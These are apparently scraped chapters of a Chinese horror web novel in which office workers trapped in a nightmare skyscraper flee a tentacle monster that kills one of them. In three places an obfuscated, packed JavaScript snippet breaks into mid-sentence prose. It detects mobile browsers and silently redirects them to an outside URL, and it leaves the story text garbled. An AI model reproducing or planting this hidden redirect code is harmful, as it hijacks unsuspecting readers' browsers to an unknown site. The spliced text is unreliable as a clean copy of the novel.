与其坐以待毙,不如主动出击。必要的时候,她会用这把美工刀保护自己,虽然她心里明白得很,一把文具美工刀无法应对梦境中的种种诡异现象,很可能只是心理安慰而已。 苇思航主动落下一步,和赵梓龙平行着前进,中间保留着一人的安全距离,一起踏进这栋楼里并不存在的21层。 帆布鞋踩上高级办公楼奢华的地毯,走出电梯的场景令她大吃一惊。——这里分明是梦茧大厦内部的陈设! 只是墙壁上的楼层标志仍然是“4”,和落地窗外的高空俯瞰城市天际线的夜景组合在一起看,便显得格外怪异。 不知不觉,变成赵梓龙走在前面,他表现的轻车熟路。苇思航又一惊,看到了前方——连接梦茧大厦双子塔的连廊。 现在他们要穿过连廊,标记指示前方通往西塔。 原来她从来没有离开过梦茧大厦! 毫无疑问,这个梦魇中的梦茧大厦被主人外化成了奇怪的外观,她原本公司所在的办公楼被嫁接到了梦茧大厦东塔,而身在其中的灵体根本察觉不到任何异样。但不知为何,苇思航并没有被梦魇蛊惑,大概因为她很早就意识到自己其实是在梦魇之中……也正因为清醒,接下来眼前一幕的冲击才更加震撼。 现在在他们前方的,是连接梦茧大厦东西塔,长约30米的空中连廊,入夜后,连廊两侧点缀着明亮的水晶一样的光线,兼具科技感和梦幻感。从连廊的这一头,可以望向另一头,定睛一看,对面赫然是——地下停车场! 苇思航感到不可思议,还以为自己看错了,跟着赵梓龙,一脚踏入玻璃连廊。 下一秒,一股天旋地转的感觉袭来,苇思航身体一歪,慌忙扶住一旁的栏杆,才不至于跌倒。 视野在旋转,重力像是小孩手里的魔方,被人拧来拧去,空间好像也随之扭曲。 苇思航看到终点的停车场的所在,标示车位的网格线出现在天上,一辆辆汽车如同被磁力牢牢吸住,轮胎的四个支点固定在天花板上——竟是上下颠倒的奇异场景。 是对面真实的情况,还是连廊内部造成的视觉错位?暂时不得而知。 身处连梁内部,苇思航感觉自己像是处在高速运转的滚筒洗衣机的内部,此时只能紧紧抓着栏杆,才不至于在想象中被甩飞出去,她难受的想吐。 在她前面几步路的地方,赵梓龙的背影在混乱不堪的视野里变成了一个蜷缩的小黑点,她下意识想到:难道是他将自己引入陷阱? 下一秒,想必“赵哥”会转过身来,再次放肆地狞笑吧? 然而她所预想的场景并没有发生,几步远外的赵梓龙毫无防备地大叫一声,看起来同样受到连廊特殊环境的折磨。 “闭上眼睛!”苇思航想也没想地喝令道。 视觉被剥夺之后,那种头晕目眩的感觉果然好了一些,但混乱的重力依旧存在,仿佛有数条看不见的丝线在空中,牵引着她的四肢。 “啊——”赵梓龙照做,随即又发出一声惊呼,他运气不太好,身边没有支撑物,转眼歪斜着倒在了旁边的玻璃幕墙上。 那玻璃按理说承受一个成年人的体重毫无问题,这时被赵梓龙轻轻一碰,却像糖壳做的,马上碎裂! 玻璃破碎的声音落进苇思航的耳中,呼啸的风声随后涌进,却不见赵梓龙的声音。 苇思航不知发生了什么,心中发毛,手忙脚乱抓着栏杆,忍着不适,顶着狂风,再次睁开眼睛。 旁边破碎的幕墙像是撕开了一道口子,暴露出梦茧大厦之外,真实的外部世界——黑池魇境的边缘。凛冽的狂风呼啸,高空之下,正翻涌着沥青一样黏腻的黑水。此时赵梓龙两只脚勉强勾住栏杆,从连廊上坠落下去只是时间问题。他此时睁开眼睛,目光直勾勾地盯着脚下的黑水深渊。 至少有一次,想要纵身高空的冲动,深渊内的某种力量呼唤着你,与其被吞噬,不如主动向它走去…… 像是崩坏的玻璃幕墙,赵梓龙此时再也维护不下去那副若无其事的面具。 他辛勤工作,到头来还是被公司无情抛弃,没有了收入来源,房贷,车贷,一家人的生活……每个都像一块沉重的大石,压得他喘不过来气。 当着同事的面毫无形象地痛哭,在总经理办公室里,仅剩的尊严被徐总像黏在鞋底的痰那样摩擦……赵梓龙想起了他之前刻意回避的一切,他那无望的,备受打击,跌落谷底的人生,眼中像是灰暗下去,完全被黑水的影子充满,什么光在此刻熄灭了。 是要苟活下去,接受命运的捉弄,还是决绝的反抗,哪怕代价是死亡? 跳下去!跳下去!跳下去!——心里有个声音在鼓动。 对这操蛋的人生,他此刻能做出最决绝也最彻底的反叛…… “就在那里,不要动!不要朝下面看!”然而另一个声音如炸雷一般响起,一只萤火飞进漆黑的洞穴,勉力振翅,发出孤单的微光。 是苇思航。 “把手给我!”她的语气不容置疑,朝赵梓龙伸出手去。 至少有一次,想要纵身高空的冲动,可是你没有那样做——因为身边的人拉住了你。 赵梓龙迟缓地转头,看着他那位并不算相熟的同事。 苇思航在半空中极力延伸指尖,给赵梓龙冰冷的手指带去一丝暖意,使尽全身力气,总算拉着后者远离了连廊危险的边缘。 就在那个时候,她看到了,赵梓龙手上可疑的血红痕迹。 …… 同样的红色,盛在罐子里,放在办公桌上。合同用的印泥仿佛一滩凝固的血。旁边是一份准备好的,解除劳动合同同意书。 与此同时,总经理办公室。 刘晨曦往桌上扫了一眼,马上移开目光。她脸上挤出一个笑,好半天才找到自己的声音,清了清嗓子,道:“徐总。” 窗外已经完全暗了下去,总经理办公室里却还没有开灯,只有桌上一盏台灯亮着。沉默的徐总侧坐在她对面的电脑椅上,大部份身体埋在阴影里,刘晨曦看不见他此时的表情。 “那个……房间里有点暗,我把灯打开吧?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670554|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >徐总没有说话,沉默宛如黏滞的气流,在这个房间里静悄悄地流淌。 刘晨曦的笑容也凝固在脸上。直直地杵在房间中央。 “不好意思来打扰您,倒也没什么大事,是关于我下个月销假……”她自顾自道,绝口不提叫她进来的目的,就当全然不知道裁员的事。 进办公室之前,她就想好了她的对策。 装傻。 她的想法很简单,目前裁员名单只是私下传播,还没有对外公布。只要她装作不知道,再向徐总求求情,说不定还有转圜的余地…… 刚开始知道自己在裁员名单里,刘晨曦难以置信的那一阵已经过去了。 当着其他人,她嘲笑赵梓龙毫无形象地痛哭——至于吗?背地里,她把自己锁在女卫生间的隔间里,开始为明天抽泣。 从毕业之后就入职这家公司,自恃资历的她感觉天塌了。她上周才满35岁而已! 至今未婚未育,工作就是刘晨曦的体面。只怕被裁之后的人生只会更加悲惨,她陷入悲观的想象,她是一个彻头彻尾的失败者,被年龄抛弃,被公司抛弃,被社会抛弃…… 她眼前所见像是变成了针尖大小,除了这份工作,再看不到别的,出了这栋办公楼后的世界?——抱歉,她好像暂时想象不到。思绪就这样被困入了穷巷。 目睹赵梓龙走出总经理办公室,她盯着那扇门,甚至出现了一种罪恶的幻想。 假如赵梓龙忍无可忍,杀了徐总…… 她敢说在场还有很多人,都和她想的一样。 而当徐总的声音再次传出来的那一刻,实话说,她感到失望。 赵梓龙果然是个孬种! 现在,站在徐总面前,她唯唯诺诺,冥思苦想,不知下一句话该怎样开口。 她的目光再次扫过桌上的印泥,那鲜红的颜色刺痛了她的双眼。 难道她是什么罪人吗?她绝不会为自己贡献的青春签字画押! “嗯,开灯吧。”沉默了很久,徐总冷不丁道。 刘晨曦的身上泛起一身鸡皮疙瘩。 徐总的语气显得格外轻松,那种高高在上的感觉几乎让人生气。他的声音从喉咙附近发出,有种让人不适的滑腻。 一股隐隐的带着潮湿的臭气,在空气本就不流通的房间里蔓延开来,刘晨曦从刚才就闻到了,此时不留痕迹地皱了皱眉,嘴上答应道:“……好的。” 她转身朝着门口墙上的开关走去,背后像是长了眼睛,她仿佛看见徐总的椅子,悄无声息朝着门口转了过来。 她的手放在了电灯开关上,突然有些出神,目光落下,看到不远处的门把手。 脑海中似乎一个声音发出最后的警告。 逃出去!逃出去!逃出去! 这一刻好似被拉长成无限,其实只有短短的一瞬间。 她的手指在发抖,微微用力,随即摁亮了电灯开关,眯起眼睛,适应骤然明亮的光线。 眼前泛着白光,然后是入眼的一片血红。 ——和桌上印泥一样的红色。 房间的墙壁上,布满了杂乱无章的,红色的印记,从地上一直延伸到天花板,放射性的印记上还残余着恰到好处的湿润,给人带来不可磨灭的视觉冲击,像是步入了一个新鲜的屠宰现场。 “啊啊啊啊啊!” 刘晨曦控制不住自己的声音,爆发出一声尖叫,下意识去拉门把手,一个影子却比她更快,来不及了。 当她伸出手去,碰到的不是金属,而是某种一样冰凉、却更加滑腻的软体,一种奇异又恶心的触感…… 什么玩意儿……还是活的! 她发狂一样抽开手,带出一串黏连的猩红丝线,弄脏了她的一步裙,转身的瞬间,看到此刻的徐总。 徐总的椅子正对着门口,头颅以一种不可能的角度,僵硬地朝后仰着,好似已经折断,眼睛无力地朝后翻去,一双惨淡的眼白盯着前方,在他绷紧抻长的脖子上,只见一条均匀的裂口出现在喉咙的位置。 那是一张不断收缩扩张的环形口器,一条沾满红色印泥的触手正从那深渊般的裂口中缓缓抽出,跨越了半个办公室,一端死死缠绕着门把手。灯光下,粗壮的触手像蛇一样蠕动,上面遍布的吸盘正在肉眼可见有节奏地开合着,将鲜红的印泥涂抹在金属表面——就像它在墙上做过无数次的那样。 16. 15. 黑池(八) 连廊周围的玻璃幕墙被赵梓龙撞开一个豁口,风从其中灌入,剩下的幕墙承受不住强风,没过多久,也尽数碎裂。 苇思航和赵梓龙两人完全暴露在呼啸的狂风之下,刚才还美轮美奂的连廊,转眼只剩下了钢筋的本体,露出狰狞的面目。 苇思航扶着摇摇欲坠的栏杆,仿佛抓着唯一的救命稻草,心脏在胸腔里急速跳动。 阻止了赵梓龙的坠落,可她此时也黔驴技穷,被困在连廊中间进退两难。 接下来该怎么办? 身边的赵梓龙抹了一把脸,出乎意料地镇定下来。 手机在他的口袋里震动着,他知道,是来自妻子的电话。 不久前,在电梯里,他收到妻子的信息。 ——“今晚回家吃饭吧?” 他当时犹豫再三,没能立即回复她。 只因他还在为没能硬气一点,屈服地签下解约书的自己感到羞愧。敲打键盘的手指上留下的印泥痕迹像是在时刻提醒他。 他承认自己是个任人拿捏的软蛋,忍气吞声,如履薄冰了一辈子。 在办公室里,当他看着高高在上、甚至不愿意正脸面对他的徐总,实话说,他真有一种冲动,想要随手抄起什么砸向他,让他付出生命的代价,只为出一口心中的恶气…… 当时心里也有一个恶魔一样的声音在怂恿他,就差一点,他就要采取行动了。 可他终究没有那样做。相反,他自知多说无益,蘸取印泥,在解约书上留下屈辱的手印。 不仅失去了工作,他也失去了尊严。他因此感到痛苦。 可当他看到妻子的短信时,却是庆幸涌上心头。 ——不管怎么样,他今晚还要回家的。 那个有着妻子和他们孩子的小家。他知道,或许在别人的眼中,他是个懦夫,可他能够按时回家吃饭,对于还在等待他的家人,就是日复一日的壮举。 猛烈爆发的欲望,带来强烈的精神力波动,周围的风势似乎都弱了一些。 赵梓龙只想回家。 他朝前踏出一步。 苇思航来不及阻止:“小心……” 接着,她吃惊地看到,赵梓龙的身体微晃,可随即在飘忽的重力和狂风中稳住了身体,把握住了微妙的平衡。 像是走钢丝。 可他摇摇欲坠的一辈子,被收支平衡的账单困住的一辈子,何尝不是每时每刻在走钢丝? 他将一家托举在肩上,可当天旋地转,上下颠倒的时候,肩上的重担,也是他钢丝之下守护着他的安全网,他的小家成了宇宙中唯一一个恒定的坐标。 赵梓龙真从光怪陆离的前方看到了一条路,无规律的扭曲的空间中,一条细细的轴。 苇思航胆战心惊地看着赵梓龙显得有些毫无章法的前进路线。 “跟我走。”不多久,他的声音从上方传来,苇思航看到他的双脚站到了斜上方的空气里,活像被一个什么东西牢牢粘住了,要知道,上一秒,他差点掉下连廊,但是在那个特定的位置上,重力并没有为难他,他脚下的某点发出涟漪一样的微光。 苇思航心领神会,紧跟在赵梓龙之后——抱着死马当做活马医,大不了死回0373的念头——也勇敢跳出了第一步。 松开抓住栏杆的手的那瞬间,后悔的念头却顷刻浮现——她对赵梓龙的疑心还没有彻底消除,听信他的话是不是有点太鲁莽了?可已经来不及了,她投身进此间狂暴的乱流之中,身体不受使唤地摇摆,深渊在她倒垂的脑袋下方,一种失重坠落的感觉袭来…… ……她成功了! 像是险急的湍流之下,隐藏着水底坚硬的岩石,继又跨出一步的赵梓龙之后,她站稳了脚跟。 赵梓龙在前方引路,亦步亦趋,过了前面几个匪夷所思的点,渐渐熟练起来,速度更快,如履平地,苇思航不像他那般自如,不过有人带着,也勉勉强强。 没过多久,两人终于到达了西塔的彼岸。 从这一头,回往他们来时的另一端,同样是上下颠倒的景象,连廊的空间扭曲就像是一种过渡。等待身体适应之后,就和正常的重力环境没有什么不同。地下停车场还是那个地下停车场,周围的一切,苇思航再熟悉不过。 苇思航来到西塔的第一件事,扶着墙,不管不顾,背对着赵梓龙干呕起来。 缓过神来,苇思航想起向赵哥道谢,她这时也终于不再怀疑赵梓龙会对她不利,心里隐隐还有些抱歉。 赵梓龙摇摇头:“客气了。你先救的我。” 苇思航挠挠头,实在好奇,问道:“那条路……你怎么发现的?” 赵梓龙脸上也闪过迷茫:“我也不知道,突然一下,我只想到我要回家,就……看见了。” 苇思航啧啧称奇,总归梦魇中太多事情无法解释。 赵梓龙掏出兜里已经安静下来的手机,屏幕上显示妻子的未接来电,他想过要再打过去,却又踌躇了。下一秒,电话再次震动起来。 “接啊!”苇思航在一旁催促道。 赵梓龙犹豫地望着屏幕:“万一我又按错了按键把电话挂了……” 借口。 明明靠着家人的意志逃离了险境,不妨碍近乡情怯。怎么告诉妻子他又丢掉了工作?妻子会是什么反应? 人啊,一旦没有了死亡的威胁,便开始想东想西。 苇思航不知道赵梓龙此时心里在想什么,顺着他刚才的话鼓励:“接吧,要是真的念想管用,你就想着你现在一定要接这个电话试试?” 赵梓龙目光微顿,紧张而希冀地看向屏幕,手却迟迟没有伸出,手机焦急地等待着回应。 “你到底想不想接这个电话啊?” “……想。” 不再犹豫,赵梓龙下定决心,伸手去碰那屏幕上绿色的按钮,不管成没成功,立即将手机贴在耳边。 想要立刻听到妻子的声音! 一旁的苇思航好似紧张等待电视剧大团圆结局的观众。 又一次心想事成的奇迹吗?梦魇真这么好? “喂,老公?……” 听到对面传来的女声,赵梓龙苦闷的眉眼顿时被温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670555|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔笼罩,舒展开来,他竭力压下颤抖的声音,不让另一端的妻儿起疑,他冲苇思航点头示意,转身朝一旁走开几步,方便和妻子通话。 真好啊。 苇思航看着赵梓龙仿佛孩子一样手舞足蹈的背影,顿时明白了赵梓龙一开始的选择,第一次在这个冰冷诡异的梦魇中感到些许温情。 一缕微风拂过她的脸颊。 感应灯带由远及近地亮起。 等下……感应灯? “小心身后!”意识到不对劲的苇思航大叫,可是已经来不及了。 一条粗壮的触手在半空中显形,从毫无防备的赵梓龙背后穿胸而过,失去主人的手机掉到地上。 “……没事儿,这破工作不要也罢。房子?供不起也没办法,大不了割肉呗,最近我也想通了,大不了回老家嘛,老大已经懂事了能理解,老二回去正好念小学,也不需要过渡,你觉得呢?……喂,老公,你在听吗?” 手机摔到地上的瞬间解体,随即被盘踞在地上的触手碾压至粉碎,再没有了声音。被一击贯穿的赵梓龙软绵绵的挂在触手尖端,随即被扔到了来时的连廊。这一次,他的尸体直直掉入黑水深渊。 来不及悼念同伴,苇思航朝着反方向掉头就跑! 解决掉赵梓龙,触手转移目标,果然转头追着苇思航而去! 两方在地下停车场里展开追击。 触手所到之处,停车场的车辆像是不堪一击的多米诺骨牌,在巨力下纷纷臣服,互相撞击着报废,警报器的嘶鸣此起彼伏。一辆尽显硬汉气质的大型SUV因为挡住了触手的路,被直接贯穿,车窗破裂,机油淅淅沥沥洒了一地,残骸被抛向墙上,像炮弹一样下落,转眼又砸倒了一片。 苇思航的耳膜被自己剧烈的心跳声震得生疼。急促的喘息与慌乱的脚步声交织在一起。借着这附近密集车辆的掩护,她一个急转弯闪进触手的视觉死角。这个明智的决定为她赢得了宝贵的喘息时间。 然而她的心越来越沉,只因她意识到,她逃得越远,结果却是更加深入触手怪物的腹地。 四周的墙面不知何时已褪去了混凝土的原色,转而呈现出病态的青灰。仔细看,上面遍布着吸盘环状的花纹,苇思航越看便越发心惊,难道说,触手怪物已经变成了建筑物的一部分? 必须尽快逃离这一层! 就在这时,她看到了——电梯,指示灯诡异地亮着红光,显示电梯还在运行,此时停在B2。 苇思航没有多想,发了疯似的狂按“向上”的按钮。 电梯收到指令,开始动了,很快下行至B3——她所在的这一层。 电梯门悄无声息地打开,苇思航一脚即将踏入,抬头的那一瞬间,全身血液凝固。 原本是摄像头的位置,一颗青灰色的肉瘤正在规律性搏动。它约有成年人的心脏大小,表面布满蛛网般的血管,无数半透明的菌丝从中心辐射状延伸,将整个轿厢顶部变成了某种生物的巢穴。 肉瘤中心散发的红光如同冷血动物的复眼,正朝着门口的苇思航发出冰冷的凝视。 17. 16. 黑池(九) 苇思航僵直着身体,不动声色地缓缓退后。 电梯轿厢角落的红光死死盯着她,直到电梯门自动闭合,隔绝了她的视线。 冷汗滑过眉毛,流进眼睛,蛰得眼球火辣辣地疼。 还逃吗?好像没有那个必要了…… 暴露在红光之下,“它”知道她在这里!不然,还能逃去哪儿? 电梯附近是一片开阔的平地,连能当掩护的地方也没有。 身后的触手迟了一步,还是毫无悬念地赶到了。眼睁睁看着那条粗壮可怖的触手朝着自己拍击而来,这场景有点熟悉,上一次,苇思航还有0373的掩护幸运逃脱,这一次,她毫不怀疑,自己会死得很难看…… 她步步后退,分明已经绝望,那触手如同毒蛇一般,欣赏着她死前惊恐的表情,就在电梯门不远,一道安全门“吱呀”一声,张开一道缝隙,千钧一发之际,一只手从其中迅捷地伸出,拽着苇思航跌入另一边的黑暗。 安全门立即合拢,然后被狠狠抵住!隔着一道金属门,触手的重击震得门内刚脱险的苇思航牙齿发麻。 借着楼道里应急灯的光亮,苇思航看见了,那个出手相救的人的样子。 她当即失声道:“——是你?!” 随即想到此时的处境,她赶紧捂住嘴巴,吞下下面的话。 那端着机枪的红发女,不是陆萌是谁? 陆萌机警地用一边肩膀顶住门,省去了重逢的客套,将苇思航上下打量一番,懒懒应了一声:“哦。” 危机还没有结束! 苇思航亲眼见过触手怪物在停车场横扫的威力,并不觉得一扇安全门能够抵御住它的攻击。 下一击到来之前,她抽空打量起四周,已知这里是梦茧大厦B3,整栋大厦的最底层,楼梯间的尽头,再往下去已经没有路了。她的目光不期然扫过楼梯间的一角,再次如堕冰窖。 和不久前一样的青灰肉瘤,闪着妖异的红光,正蜷在斜上方楼梯口的墙角,俯视着下方的二人。 陆萌顺着她的目光看去,却不以为意,抬手看了看表,二话不说举起手里的霰/弹枪,顺手把苇思航护在身后,朝着那颗肉瘤扣动扳机。 轰的一声。霰弹击中了混凝土墙体,簌簌向下落灰,肉瘤本体并没有被击中,准确的说,陆萌瞄准的是那肉瘤附近的组织网,炸开的钢珠四溅,不分敌我地朝着苇思航二人袭来。 苇思航感到脸上一阵火辣辣的剧痛,她一抹脸,一股湿润的热意。 苇思航:? 陆萌疯了吗? 这是什么痛击队友的招式? 她此前经历了无数危机,万万没想到再次见到同伴的10分钟内就打破了自己的无伤记录! 陆萌同样呲牙咧嘴,近距离引爆,背上被弹片划开的滋味很不好受。 至于那颗险些被击中,越看越像心脏的肉瘤,蜷缩在墙角,苦于无处可逃,此时正肉眼可见地搏动着,像是一个劫后余生的人在粗重地喘息。 奇怪的是,经过这一枪,门外竟奇迹地安静下来。触手迟迟没有下一步的攻击。 “你发什么疯?痛痛痛,痛死了!”苇思航等了一会,虽然对外面的风平浪静还存疑,不妨碍她大起胆子,随口抱怨起来。 “什么‘痛死了’!胡扯,真能痛死,你死一个我看看?”陆萌回嘴,“你懂什么?这叫用空间换时间!伤口能自愈,但你要不持续输出负面精神力,当心魇境注意到你,又来找你麻烦!——啊啊啊放手!痛痛,痛死我了!” 苇思航毫不留情地掐着陆萌正在流血的伤口,换来对方的惨叫,出了一口恶气。 双方不得不忍受着身上的疼痛,陆萌先问:“你怎么在这里?” “说来话长……”苇思航道,“你呢,你怎么又在这里?” 上次一别,两人还被困在B2停车场的0373里,苇思航一打盹的功夫,再醒来时,陆萌就不见了。 据陆萌交待,她当时尿急(……),跑去一楼大堂上卫生间,上完卫生间冲水的时候,水龙头里流出黑水,她因此被拉进了魇境之中。 苇思航表示惊讶,又觉得不可思议,关于梦灵会尿急这件事。 “那你担不担心,那个,你现实里……” 在梦里尿急,然后一泻千里的结果往往是……嗯,不得反口,陆萌默然。 苇思航随口吐槽:“你睡前究竟吃的什么药啊,这样了都不醒?” 陆萌已经记不得自己之前随口一提的特殊情况,再一次无话可说:“……” 苇思航道:“那这么一看,你很早就进魇境了,那你的梦魇坚持的还挺久的喔?什么时候被吸进来的?” “吸进来?” “对啊。我是原先那层梦魇崩塌,然后才来到这里的。” “是吗?”陆萌随口道,“没有啊,我是一直在这里……” 她的话没能说完,苇思航突然有了动作,揪着她只有一边的背心肩带,迫使陆萌弯腰和自己对视。 不是坐在0373的前排,二人的身高相差悬殊,女战士陆萌的建模矫健修长,穿着高跟皮靴的她很难说是否已经超过了一米九,苇思航与她相差将近30厘米,不过气势丝毫不输。陆萌看到苇思航的脸在眼前突然放大,忍不住吞了吞唾沫,那双眼镜后,怀疑的目光此时正毫不掩饰地打量着她。 “这里不会是你的梦魇吧?”苇思航说出自己的疑惑,觉得自己也有点糊涂了。 陆萌一愣,正要否认,苇思航转头一想,觉得不可能,放开了她。 要说的话,苇思航目前对于她经历的第二个梦魇也只是云里雾里,仅仅怀疑背后的主人可能是她某个认识的人,而她左思右想,怎么都不觉得自己现实里会认识陆萌这号人…… 而且如果是梦主,何必还躲在这里? 陆萌重获自由,整理着自己差点被撕破的衣服,顺手在胸前两个沉甸甸的马赛克大球上掂了掂,问道:“你是说,现在外面是某个人的梦魇,咱们都在同一个梦魇里?” “没错。”苇思航三言两语,把自己此前经历的异常现象说了。 说起她上一个怀疑的人,赵梓龙,她目光一黯,想起不久前亲眼看到的他被触手怪物从背后杀死的惨状…… 仍不知这个梦魇和普通的有何不同,她只能安慰自己,在这里面死去,或许代表他已经在深爱的家人身边,从噩梦中醒来了吧? 赵梓龙死后,这个梦魇依旧存在,再次证明,赵梓龙并非是梦主。 陆萌听着苇思航的话,皱起眉头,想不到情况变得棘手起来…… “我记忆里是一开始就待在梦茧大厦里了,遇到那只触手怪物之后,一门心思逃命,好不容易才躲到这里,外面发生了什么,我都不知道……剩下就是熬,盼着药效到了能醒过来呢。”陆萌苦着脸道,开始给苇思航分享她新编的故事。 “照你那么说,也有可能,因为我精神力不是一直很弱嘛……很有可能,”她强调,“我的梦魇其实早崩塌了,然后很早就被吸进来了?” 苇思航觉得有理。 “其实我觉得我知道这个梦魇的主人是谁。”陆萌的下一句话石破天惊。 “谁?” 陆萌慢吞吞地指了指外面,无比笃定道:“外面那只触手怪。” 苇思航正要反驳。 “……是其中一个。” 陆萌向苇思航说出自己的“推测”,苇思航有种在听天方夜谭的感觉。 已知强行将其他梦灵,又或是幽灵(苇思航也提到了含晦和尉迟龙鸣的事)拉入自己的梦魇中,需要强大的精神力,很有可能(陆萌又强调一次),某个执念颇深的梦灵机缘巧合之下,精神力与门外的触手怪物结合,共同造成了足以颠覆整个魇境的母魇。 “那个触手怪究竟是什么东西?你知道吗?”苇思航问道,“是梦灵,还是幽灵?” 陆萌摇摇头:“都不是。那是原生于灵界的怪物,来自物质世界的映射。” “——你听说过‘克苏鲁’吗?” “好像听说过……”苇思航先是道,不想显得自己不懂装懂,又补上一句,“……其实不是很熟悉。” 陆萌道:“那是一个有别于传统宗教,反信仰的开放式神话体系,大多数神话随着时代发展,实际上在日渐萎缩,克苏鲁却不一样,相反,还在进一步扩张。它代表的‘未知的不可名状的恐怖’,因为所有人都可以对其解释,这个体系随着时间仍在不断丰富,通过各种文艺作品,潜移默化地改变人们的认知,得到越来越多的人的认可——这个过程,可以理解为附灵,相应的,灵界诞生了有关元素的怪物。” “大多数人想到克苏鲁,第一印象就会想到‘章鱼’,‘触手’之流,门外那个,就是其中最初级的映射品,被称作‘魇怪’。它会被异常的精神波动的梦灵吸引,入侵梦境,作用机制嘛,类似魇境……如果说黑水魇境类似范围攻击,魇怪更像打野,单体击破。” 陆萌说的头头是道,慢慢拼凑出事情的全貌:“呐,我怀疑,这个触手怪一开始入侵了某人的梦魇,因为某些原因,可能是自己太菜了……反倒让梦主占了上风,自己遭到了反噬,正巧魇境爆发,它选中的梦魇在魇境中脱颖而出,导致它现在也被困住了,逮着我一个人薅啊……” 说到最后,她的脸痛心疾首地揪了起来。 故事编的很好,但苇思航当下并未往心里去,她更奇怪的是:“你怎么会知道的这么清楚?” “我?”陆萌眼睛一转,得意地笑起来:“巧了吗这不是,我睡前玩的那个游戏就是克苏鲁背景的,我手里这杆枪,专杀触手怪!遇见我算它倒霉!” 苇思航:“……” 她的目光又扫向天花板的角落,那个古怪的肉瘤,果然跟外面的触手怪有关…… 不过刚刚离得那么近也没打中的话——近战射手,你有什么话要说吗? 陆萌表示,那可是天大的冤枉,她当然是故意那么做的的!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670556|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆萌解释:“那是触手怪的卵,外面的触手怪投鼠忌器,因此不敢主动攻击我,我每隔一段时间来一枪,就是给外面的警告!” “这卵对它来说很重要吗?” “当然!触手怪的力量随着存在时间逐渐变弱,这个过程中,它会将能量转移到卵上,然后孵化一个新的……一旦被毁,前功尽弃,元气大伤!”陆萌说,“放心吧,这个卵短时间内还不会孵化,只要咱们守着这东西,外面的怪物不敢轻举妄动!” “可是……”苇思航犹豫了,“我刚刚在电梯顶里看到了,一个和这长得差不多的东西,好像看起来比这个还大一点儿……那是怪物的另一个卵吗?” 陆萌脸色一僵,好半天,咬牙骂道:“我靠!” 她着实没想过,触手怪竟然还有这一招,背地里已经放弃了楼梯间里这一个,反而转头开始发育一个新的卵,她本来还觉得奇怪呢,楼里这一个为什么好像暂停发育了…… “那没办法了。”陆萌果断道,“我们得想个办法,逃出去。” “要尽快。”她说着,抬头看了一眼,那颗头顶搏动重新变得缓慢的肉瘤,她之前怎么没看出来,还是说视而不见——那东西正在萎缩? “嗯,不能留在这里等死。”苇思航对陆萌的话表示赞同,脑中飞快思考着。 她可以带着陆萌回到她来时的东塔,看起来触手怪只在这边活动,或许真是受到了另一边梦主的压制?虽然那边的梦魇也相当诡异,但是好歹暂时没有性命之忧……吧? 事实上,她对这个第二次陷入的梦魇完全没有底,隐隐感到这里不同于一般的梦魇,在这里死去,会发生什么?她是否还会再在B2的0373里醒来?如果所有人都被吸到了同一个梦魇中,魇境为何还没有结束?含晦和尉迟龙鸣现在在哪里? 陆萌随口问:“你有什么计划吗?” 计划? 她原本的计划,要在魇境里突围,成为最后的赢家,改造梦茧大厦,驾着0373脱险。 鉴于她的梦魇已经先一步崩塌,这个计划也就成了奢望……不对,还有机会! 脱困的方法,她早就已经知道了呀! 偶遇的含晦和尉迟龙鸣已经告诉她一条捷径,只要找到并杀死梦魇主人……她是不是也能“接管”这个梦魇? 苇思航脑中纷繁复杂,陆萌忽而一拍掌,语气有种说不出的愉快,兴冲冲地提议。 “有了,出去之前,让我们来‘幸运占卜’一下!” “什么占卜?” “是我这个角色的特殊能力!”陆萌冲她神秘一笑,介绍起来,“每天可以使用一次,我之前总嫌鸡肋,正好,现在用了吧!” 苇思航心里泛上酸意:“特殊能力,那是什么东西?” 陆萌眨眨眼:“基本上梦灵和幽灵都有的呀,属于固定下来的进化的外化能力,啊,苇姐你没有吗?” 死了又死算吗? 苇思航打算先看陆萌表演,摇了摇头。 陆萌咧嘴笑道:“那估计是你的精神力太弱了,唉,没关系啦,我这个其实也没啥用,嘻嘻……” 苇思航:“……” 陆萌煞有介事地合起双掌,闭上眼睛,像在蹩脚地做法,嘴里不忘解说:“我这个占卜的学名叫‘半梦半醒’,可以横跨物灵两界,预知未来发生的事情……” 苇思航将信将疑,很有理由怀疑陆萌有夸大的成分,而且突然选在这个时候,很莫名其妙啊……陆萌的手突然伸过来,猝不及防地与她的手相握,她的手凉而柔软,像某种鱼类,给苇思航吓了一跳。 “虽然只能用一次,但是可以给两个人用。”陆萌提起嘴角,闭着眼睛冲她笑。 苇思航正要说些什么,眼前一花,竟真的出现了画面,讶异中噤声。 她像是回到了通风管道里,俯瞰着下方的景象。 又是熟悉的办公室。 